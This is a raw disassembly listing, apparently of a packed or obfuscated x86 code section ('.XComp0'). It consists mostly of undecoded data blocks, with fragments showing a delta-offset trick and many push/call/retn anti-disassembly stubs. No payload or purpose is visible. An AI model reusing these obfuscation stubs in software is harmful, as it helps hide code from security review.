4247C89h, 4244481h, 17h, 7C35747h, 0F8C778BDh, 124A85C7h dd 5FDh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0F63480C3h, 94577D7h, 0E877DD40h dd 9, 99633BAEh, 0EDEC5E1Eh, 0E1B58B91h, 5F05F926h, 1235BD8Bh dd 9D8D05F9h, 5F9202Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0FDC35545h, 0E07DEEA9h, 81E852CFh, 0FFFEFF23h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8C6679C0h, 4C3F6DBh, 8D840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 353047C3h, 9BFCEE66h, 0E8A5BDA2h, 13h, 0ADF3B73Dh, 9D5D6186h dd 0F76359D9h, 0D2EE24AEh, 8BAA22FFh, 95FF5FFBh, 5F91391h dd 90F7B70Fh, 13E850h, 27BE0000h, 8CBA6A13h, 0ACF80A72h dd 93EA5DDCh, 17F1680Dh, 5F5160D2h, 5E61FE8Bh, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0FB8B8431h, 0E9F3B70Fh, 45Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 8EC35646h, 13E9h, 68CEFF00h dd 0AAF23B8h, 0F7F42D93h, 0F5D10209h, 0D7ECD87h, 858900B0h dd 5F92CE5h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 8EDF22C3h, 71E4A4B0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5FC35747h, 2D5FF539h dd 0FACCA08h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0F843B8C3h, 7C1A2C4Fh, 0F95BD09h dd 0B70F05F9h, 9E9F0h, 2C830000h, 0BCF4346Eh, 0BAEB9976h dd 6, 0C38BF18Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 31C35646h, 5DD2B47Bh, 0BD312B30h, 5F91345h, 0E8C1FA8Bh dd 2C90BF04h, 0F76639E5h, 11B58BE2h, 2B05F91Fh, 25BD89D8h dd 5005F933h, 6A241C89h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 61FDC353h, 0ECA3792Ah dd 70EA68C0h, 5FFE8B50h, 15B5FFFCh, 6A05F907h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0CD41C355h, 89F13D88h, 0F90E099Dh, 0ED95FF05h, 6A05F91Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 719C356h, 66A5FDF3h, 0B04415BEh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0E0D3B71Dh, 0DDB589C5h, 0E605F927h, 50006A70h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8B89ECBAh, 0F9157DB5h, 6A71E405h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0D06EC351h dd 9DA2BB90h, 8BC14C38h, 0F613CFBh, 25283h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0B33A114Ah, 0D2E5F8C9h, 1EB2CE81h, 800F6B49h, 6, 0FCDB589h dd 0B60F05F9h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 241A043Fh, 8BB8DB5Ah dd 0F91295BDh, 6BA05h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0FBAB51C3h, 14E95604h dd 4B000000h, 7226A604h, 8839180Ch, 8C00AA69h, 4AF79F50h dd 8B4CCCE3h, 0E9BD29C3h, 0C105F90Dh, 6A04E8h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0B7C0C1C3h, 0FA34241Ch, 0BE9658Eh, 26000000h, 39180C72h dd 0AA6988h, 0DE81508Ch, 69710618h, 2BE2F766h, 0BE9D8h dd 0AC5D0000h, 0A093EF93h, 2298ED1Dh, 8D89587Dh, 5F90429h dd 880FD82Bh, 14Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 9AC35646h, 0FC57BDD1h, 7B95Fh, 8D890000h dd 5F917FDh, 2900C183h, 0F92CADBDh, 0FD93B05h, 10E86h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 89777BEAh, 8B6608DCh, 0D98C66FAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3CC35545h, 52360766h dd 5FF0BF0Fh, 0F04C1F6h, 0B284h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0FD8D2F53h dd 95FF972Fh, 5F91391h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0E6C35646h, 8CEFE606h, 0C9040411h, 9DB589ABh dd 8B05F910h, 0B70F5BFAh, 66C32BFAh, 3D7399BFh, 834h, 49860Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0BCD7C5C3h, 82BBB0CBh, 50B90C69h, 12E9h dd 6857FF00h, 0DA8D81Bh, 883B5D1Fh, 41B2DCCBh, 5F9B441Dh dd 0EE9h, 8DBD8B00h, 8B05F91Fh, 619531C0h, 8B05F927h, 0C7D88BC3h dd 0F910D585h, 6F9BB705h, 0E9BD2B56h, 8B05F925h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 6A767FDDh, 15BD812Fh, 0D005F907h, 0F000007h, 6185h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0EE9B08E4h, 52A1459Fh, 6880Fh, 0DE810000h dd 3143208Fh, 9B58B5Eh, 0FF05F901h, 0F9071585h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0A058689h, 4788D771h, 0B5FFD841h, 5F90715h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 31C35141h, 22233D72h dd 0CCCDDD66h, 168F0F16h, 0E9000000h, 11h, 9FD4193Bh, 5251CB2Bh dd 0B7470ECAh, 0C47CAA1Dh, 0ED95FF4Ah, 2905F91Ah, 0F9009DBDh dd 78B89005h, 6A123456h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 24AAC356h, 190454EAh dd 16F1BD8Bh, 896005F9h, 0F9080595h, 8D8B6005h, 5F908BDh dd 61616EB7h, 1B799D8Dh, 45E905FDh, 6AFFFFF8h, 3E85600h dd 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 91D4C356h, 34A9BD89h dd 0C18B05F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 81C35545h, 4EBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8B43D6C3h, 0C1858DFAh dd 5205F90Dh, 5DB58953h, 5E05F906h, 5250505Fh, 0F525060h dd 50585A31h, 5A310F52h, 310F6158h, 36E542BEh, 89585A62h dd 10E82404h, 0F3000000h, 6959DC1h, 117E096Bh, 9857AF06h dd 0F90F3CCh, 895FFAB7h, 0F9203D85h, 0E9006A05h, 7, 0B60C2ABh dd 0E9B54B3Eh, 6, 23F479A5h, 6A008Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 5C35343h, 79D6BEAh, 5EF98C37h dd 8DF9B70Fh, 0FD1DEB85h, 0B2F78105h, 8369D01Eh, 6E805C0h dd 0D2000000h, 1AFE7278h, 66905F86h, 50C1C4BEh, 7925BF66h dd 6AFA8B90h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 7D058B46h, 89006AC5h, 0F9209185h dd 0ED95FF05h, 6A05F913h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 9C8FC350h, 0DC5398Fh dd 7E8h, 16E28D00h, 5167D5Ch, 0BEF6815Fh, 8D63AF38h, 0FCE9839Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 6D8E72E8h, 14E9h, 1D15F500h, 3FFD1DB0h dd 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 6AD3FFA4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 94BBC351h, 0AC68C6Eh, 0C68166F4h, 80604C71h, 8E9F9E6h dd 9B000000h, 238AE67Bh, 61B99C41h, 197D85FFh, 6A05F9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 24625C3h, 26D0F4F8h, 8B0F76F4h, 0 ; --------------------------------------------------------------------------- jmp loc_5AE25B ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 5FD1DF5h push 0 push eax call sub_5AD3F4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD3F4 proc near ; CODE XREF: .XComp0:005AD3ECp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5AD3F4 endp ; --------------------------------------------------------------------------- dd 0B58B5D2Eh, 5F9224Dh, 715BD81h, 7D005F9h, 860F0000h dd 135h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 20C35343h, 27882F8h, 0BE291C2Ah, 9760BE66h, 1E799D8Bh dd 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 48442CC3h, 81F88B92h, 100E3h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3D88CD41h, 4198D2F1h, 0FFBF0F8Bh, 0AC39BE66h, 850FDB0Bh dd 63h, 83FEBF0Fh, 0FD1C05BDh, 840F0005h, 14h, 0E9FE8B66h dd 7Ah, 7E9h, 55B80A00h, 972C7A4Bh, 1C0585C7h, 105FDh dd 0E9FC0000h, 5Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 66C35343h, 0E9B2A570h, 0Bh, 0E9A4BE8Dh dd 7049AAB8h, 0C7F6438Eh, 0FD1C0585h, 5, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0FBEB02EBh, 0D69BD8Bh, 9D8D05F9h, 5F91E79h, 81F2B70Fh dd 0FFFEFF23h, 68B0FFFh, 81000000h, 0ED2B9CCEh, 0DB8C6606h dd 0F6FAB70Fh, 840F04C3h, 7Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0C2C35242h, 0E551147Eh, 0F2B70F21h dd 139195FFh, 0BF6605F9h, 66905D11h, 5045D5BFh, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 14E9602Eh, 4C000000h, 9D03F25Eh, 8DF5B72Fh, 77CE945Bh dd 0CACFE8E2h, 0E9B20379h, 0Ah, 499BB94Ah, 30ED25A7h, 0E961769Bh dd 45Eh, 0B850Fh, 830F0000h, 5, 0FFCE8166h, 6A00B0A4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 9962C357h, 0F5244BBFh, 4E19D89h, 0AE805F9h dd 8B000000h, 0DE7EAC52h, 6BB26E82h, 0FEBF0F05h, 0E6FE8B5Fh dd 50006A70h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 9C219E94h, 71E4A199h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 3BC35545h, 0F1D7A00Dh, 0B60F29C4h dd 0BE9D8h, 0CAA20000h, 0C436C7Eh, 2A55C17Bh, 6BA15h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0C2F452C3h, 0FBB70F03h, 6AC38Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0AE9A0C3h dd 54000000h, 2A770629h, 1A1012BFh, 4E8C1D8h, 248DB58Bh dd 0EE905F9h, 48000000h, 23EF63D1h, 17C8B694h, 0BFA89A13h dd 0E2F76680h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 97C35242h, 0EFB3407Fh, 66266CB3h, 0D82BF88Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 10C35040h, 0AFD17C6Dh dd 4A7DA828h, 0A02EBFF1h, 0E8506F1Fh, 5, 3829DE87h, 1C895FB8h dd 0FE924h, 87180000h, 73CAE9B6h, 57A2A5E0h, 0B031C5B5h dd 15B5FF21h, 0F05F907h, 880h, 2850F00h, 57000000h, 0ED95FF5Fh dd 6A05F91Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0F32AC351h, 7C6CB196h, 6660F826h dd 0C28BD88Bh, 6DBD8961h, 0B005F924h, 0F5BD2300h, 0E605F900h dd 53006A70h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 9615C4DDh, 0BE66C2F3h, 71E4FE85h, 329DBD29h dd 613C05F9h, 244830Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 48F4D0C3h, 0D8B60FFCh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C2C35242h dd 31EC8224h, 6BAB9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 89FBF5C3h, 0F932B185h dd 6AC38B05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0D295C355h, 13D11834h, 0C1F88B66h dd 0F08B04E8h, 89E2F766h, 0F920B9B5h, 6AD82B05h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0A712C350h, 0A5958924h, 8905F900h, 0F913959Dh, 6A5805h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 3ED0DCC3h, 23BC02A2h, 0F926F1B5h, 0FD82B05h, 14988h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0F4D0908h, 6E49C093h, 7B92Fh, 85310000h dd 5F910E5h, 6A00C183h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 5239C355h, 108E0Fh dd 0AE80000h, 8B000000h, 0DE7EAC52h, 6BB26E82h, 3B5F5F05h dd 0DB860FD9h, 29000000h, 0F92C9995h, 0D98C6605h, 51D78166h dd 4C1F64Ah, 0A5840Fh, 0FC600000h, 616EED80h, 139195FFh dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0E783DDC3h, 4A1BD8Bh, 6A5B05F9h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 4595C352h, 34CDB5EFh, 2BB809EDh, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0D1C4D97Eh dd 12E98C27h, 0FD000000h, 16FE567Fh, 0EA7E2040h, 4EB48736h dd 2EEBE760h, 8343D61h, 860F0000h, 0Bh, 2459B58Bh, 1FE905F9h dd 8B000000h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0C38B8520h, 6AD88Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0D0C6C2C3h dd 0B52BFCF8h, 5F90465h, 85C7F38Bh, 5F9202Dh, 74529137h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A8C35040h dd 7BE7F0D6h, 8B1FFC52h, 9D9509C0h, 2905F919h, 0F91E2D85h dd 15BD8105h, 0D005F907h, 0F000007h, 985h, 1585FF00h, 0F05F907h dd 0B5FFF8BFh, 5F90715h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 9DC35747h, 0AE391619h, 9832CB76h, 95FFFCA1h dd 5F91AEDh, 68A0Fh, 0BD890000h, 5F907F9h, 0FE94090h, 2000000h dd 7C34D644h, 47D36C2Eh, 0B4E5E222h, 0BD83D194h, 5F90845h dd 0CB840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 7AD8C353h, 0BD230CBBh dd 5F92B8Dh, 0F8BF0F60h, 2FF36BBBh, 0BD836158h, 5F91825h dd 8F840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 8D2EC353h, 95FF4186h dd 5F90845h, 0FC00BF9h, 6184h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0F916BEE5h dd 8D8D2AAEh, 5F94EE8h, 0B8F88B66h, 5, 99EF8166h, 6AE1FFCAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 7C4C352h, 4B8361F4h, 3A9CACB8h, 12D59589h dd 0BD8305F9h, 5F914D5h, 4A840F00h, 6A000006h, 3E85700h dd 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 894CC357h, 0F91EC985h dd 25BD8305h, 5F918h, 61B840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0E7F712C3h dd 5810Fh, 81660000h, 8D1016DEh, 0F91F098Dh, 0AE805h, 72080000h dd 874610EEh, 0BC40A204h, 0E610C681h, 0C75E435Fh, 0B27C8401h dd 359D8944h, 0F05F904h, 181F6B7h, 1499CFCBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0AC35545h, 89BD8B03h dd 0C705F92Ch, 6B340441h, 9589CE70h, 5F9081Dh, 10044181h dd 0F31D6D7h, 6AFFB7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0DC35545h, 0A5A902F1h, 28F0FF5h, 8B000000h dd 9858DF1h, 6A05F91Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0DF19C350h, 0F995293Fh dd 8905F912h, 0F9170D9Dh, 4895005h, 7E924h, 56590000h dd 656E5F60h, 0D595FF07h, 6A05F914h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0EC27C357h dd 0D3329C64h, 8D8DD98Dh, 5F91F09h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 81C35141h, 0B5235AF6h, 5F92119h dd 3CE68166h, 1C70Eh, 0E9000000h, 14h, 4F943AA8h, 8A871C08h dd 4A92E00Ah, 0C350A0B0h, 74D74DC1h, 0C7FB8B66h, 441h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0E9F353C3h, 8DBD896Dh, 0B05F919h, 53840FC0h dd 8D000000h, 0F94EE88Dh, 12E805h, 0B72F0000h, 945B8DF5h dd 0E8E277CEh, 379CACFh, 0AC0A2EB2h, 17F98531h, 0B85E05F9h dd 5, 594BC781h, 0E1FF7973h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0F0C35343h, 2915B58Bh, 8D8D05F9h dd 5F91F09h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0BFC35747h, 0BBF471E9h, 0D92B85B6h, 19BD29EFh dd 0C705F918h, 0AA727C01h, 35B52B44h, 8105F931h, 99CFCB01h dd 8E0F5014h, 4, 310ABE66h, 441C75Fh, 0CE78753Ch, 10044181h dd 0F531D6D7h, 150DB58Bh, 6A05F9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 1EC35040h, 0F3BF0F6Ah, 1F09858Dh dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0CCE004C3h, 0C53ADBh, 6690B951h, 6458EF81h dd 24048950h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0B2C35141h, 56055AD6h, 232ADA44h, 0F92B35B5h, 0D595FF05h dd 6A05F914h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 9D0BC350h, 8CAD1167h, 0B5034ECFh dd 5F924E9h, 1F098D8Dh, 6A05F9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 3898B3C3h, 0FE981h, 0CE630000h dd 31371244h, 0C739F192h, 30FADEE6h, 0F9BF0FCEh, 1C7h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 8B66E9C3h, 441C7F9h, 0 ; --------------------------------------------------------------------------- jns loc_5ADFAF jg loc_5ADFAF mov si, bx loc_5ADFAF: ; CODE XREF: .XComp0:005ADFA0j ; .XComp0:005ADFA6j or eax, eax jz loc_5AE027 push 0 push esi call sub_5ADFC2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ADFC2 proc near ; CODE XREF: .XComp0:005ADFBAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5ADFC2 endp ; --------------------------------------------------------------------------- push es movsx edi, si lea ecx, [ebp+5F94EE8h] mov si, bx mov eax, 5 push 0 push esi call sub_5ADFEF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ADFEF proc near ; CODE XREF: .XComp0:005ADFE7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5ADFEF endp ; --------------------------------------------------------------------------- dec eax shl dword ptr [ebx+edx-1], 0E1h push 0 push ebp call sub_5AE010 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE010 proc near ; CODE XREF: .XComp0:005AE008p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5AE010 endp ; --------------------------------------------------------------------------- inc ebx mov [ebp+5F907C9h], eax loc_5AE027: ; CODE XREF: .XComp0:005ADFB1j lea ecx, [ebp+5F91F09h] mov dword ptr [ecx], 54CA95A5h push 0 push esi call sub_5AE03E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE03E proc near ; CODE XREF: .XComp0:005AE036p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5AE03E endp ; --------------------------------------------------------------------------- dw 88AEh ; --------------------------------------------------------------------------- les edx, [esi-1Bh] mov al, ds:56E8D37Fh add dword ptr [ecx], 1499CFCBh push 0 push ebx call sub_5AE069 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE069 proc near ; CODE XREF: .XComp0:005AE061p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5AE069 endp ; --------------------------------------------------------------------------- sal byte ptr [ecx], 25h ja short near ptr loc_5AE080+1 rcr byte ptr [edi], 1 loc_5AE080: ; CODE XREF: .XComp0:005AE07Cj xor es:[ebp+5F90E15h], ecx mov dword ptr [ecx+4], 0CE5F5969h push 0 push ebx call sub_5AE099 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AE099 proc near ; CODE XREF: .XComp0:005AE091p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5AE099 endp ; --------------------------------------------------------------------------- db 52h ; R db 4 db 8Fh ; db 11h db 5 db 5Bh ; [ db 0ECh ; ì db 38h ; 8 db 53h ; S db 29h ; ) db 0B5h ; µ db 65h ; e db 9 db 0F9h ; ù db 5 db 5Eh ; ^ db 81h ; db 41h ; A db 4 db 10h db 0D7h ; × db 0D6h ; Ö db 31h ; 1 db 66h ; f db 8Bh ; ‹ db 0F3h ; ó db 6Ah ; j db 0 db 0E9h ; é db 0Ch db 0 db 0 db 0 dw 50D3h dd 0D97E01DCh, 8C27D1C4h, 85893249h, 5F90109h, 1F09858Dh dd 8B5105F9h, 0B58B5EFAh, 5F90121h, 0F38B6650h, 6A240489h dd 3E85100h, 20000000h ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_5AE0FE proc near arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5AE0FE endp ; --------------------------------------------------------------------------- dw 0AFE8h dd 8B19EFF9h, 0F925ADBDh, 0E3C6BE05h, 95FF4DD1h, 5F914D5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9FC35242h dd 0F88BCB2Bh, 1F098D8Dh, 6A05F9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 707DFEC3h, 347CFA92h dd 60E77692h, 0B966C3B0h, 0C7611366h, 1, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0A0A5EE41h, 460FBA3Fh, 441C7h, 8B000000h, 0FC00BFEh dd 9084h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0A74F794Eh, 0FF5791Bh, 685h, 31B58B00h dd 8D05F926h, 0F94EE88Dh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 403BD501h dd 0B58BE79Fh, 5F91569h, 5B8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 5A6B99F6h dd 2B869CF8h, 0F927DDB5h, 29E1FF05h, 0F910BD95h, 0E9CA0305h dd 0FFFFF195h, 7870Fh, 23FC0000h, 0F90031B5h, 0F1B58B05h db 0Dh, 0F9h, 5 ; --------------------------------------------------------------------------- loc_5AE25B: ; CODE XREF: .XComp0:005AD3D8j jmp loc_5AE27E ; --------------------------------------------------------------------------- dd 5931BD0Eh, 6 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AE27E: ; CODE XREF: .XComp0:loc_5AE25Bj jmp loc_5AEAD2 ; --------------------------------------------------------------------------- db 0F6h dd 0E70E36DBh, 0F1D40807h, 0DD083CC7h, 0F4D309FCh, 879D3FC8h dd 9A6D4D0Ah, 0B2598362h, 89806B8Ah, 0C24B7453h, 54FFB81Ah dd 23995929h, 8C7F41A6h, 0CA6FAA63h, 9685F089h, 9EB06D29h dd 0B11BA445h, 9535B45Ah, 8C30C772h, 0B861DB7Bh, 85A7D281h dd 77242996h, 39B718D7h, 16A42BD7h, 6469A08Bh, 74A14FC5h dd 7BB80FCEh, 88AE5784h, 50898469h, 5DB20EA9h, 7728158h dd 922995C8h, 8E5F4C66h, 33F0D60Ah, 44EA23CCh, 0F823DE9Bh dd 2995CB85h, 3FDC0502h, 2995CB3Eh, 0C928CEBBh, 0C82FEA25h dd 9952E425h, 87273304h, 0AAC03185h, 256B3042h, 0EADD2FB8h dd 8170865Fh, 0AE8BB15Ch, 6D60AB11h, 705B9ABCh, 39C66399h dd 0B5747994h, 964FD3A6h, 9E535029h, 85527978h, 7732A366h dd 0C37E3BB2h, 964FE598h, 91A56229h, 749F7C62h, 29965009h dd 0CA339986h, 23B0B5DCh, 41F821E8h, 0F51AB6h, 346F0A29h dd 0FDEC2996h, 53E32EE1h, 0DE318D9Ah, 1BECD0D7h, 3E9E39A4h dd 178D00C9h, 0E67C2230h, 0A73A059h, 87299635h, 5985749Ah dd 7BA16853h, 139A735Ch, 0D70AB56h, 8A299635h, 0A0D6799Dh dd 1C299634h, 4D5A5BB4h, 8815986Bh, 2DFBA3AFh, 1FD3FB04h dd 0C50717C8h, 0F3FA2F7Eh, 0E5F11026h, 2F4A4F21h, 0BC084Dh dd 1D30000h, 0F3DEE725h, 0A5B452AFh, 4C4EB491h, 0CECB7185h dd 8595E873h, 15122996h, 0ECDF201h, 7F5A5BB0h, 0BBC0434Ah dd 5E299685h, 2C935B87h, 954449C2h, 4647C42Ah, 0D28E8393h dd 934D2F5Dh, 1, 0AB648C75h, 0FE89E76h, 0E6E820E5h, 0DD8C0106h dd 0FEE90214h, 1A82DE2h, 0BC31D6F6h, 3BF60DBBh, 0F9EFDC1Bh dd 8DFF31F4h, 5B5297C0h, 1697705Ch, 8D2EAB11h, 9E3CB178h dd 0BABB636Fh, 34E508EFh, 95A05627h, 1BD6D329h, 10DE0CFBh dd 31C544A7h, 4BF11EC2h, 2DEE13EEh, 2995A04Ch, 3E3FDCC9h dd 0BB2995A0h, 24C928CEh, 0E9D633E9h, 74051601h, 0F12995A0h dd 21F8FD34h, 608C270Dh, 8CC772A7h, 299685F1h, 0AA597F6Eh dd 48278D5Fh, 8645F0C4h, 50707770h, 0A156CEBFh, 6253B816h dd 4A986787h, 578D7A62h, 83BE4F70h, 36B7507Ch, 4F1AD363h dd 4FE4A77Dh, 0B5329A69h, 0AA49ED23h, 0E22D9140h, 0DB7A21EBh dd 0D2DBA649h, 0DCDBD217h, 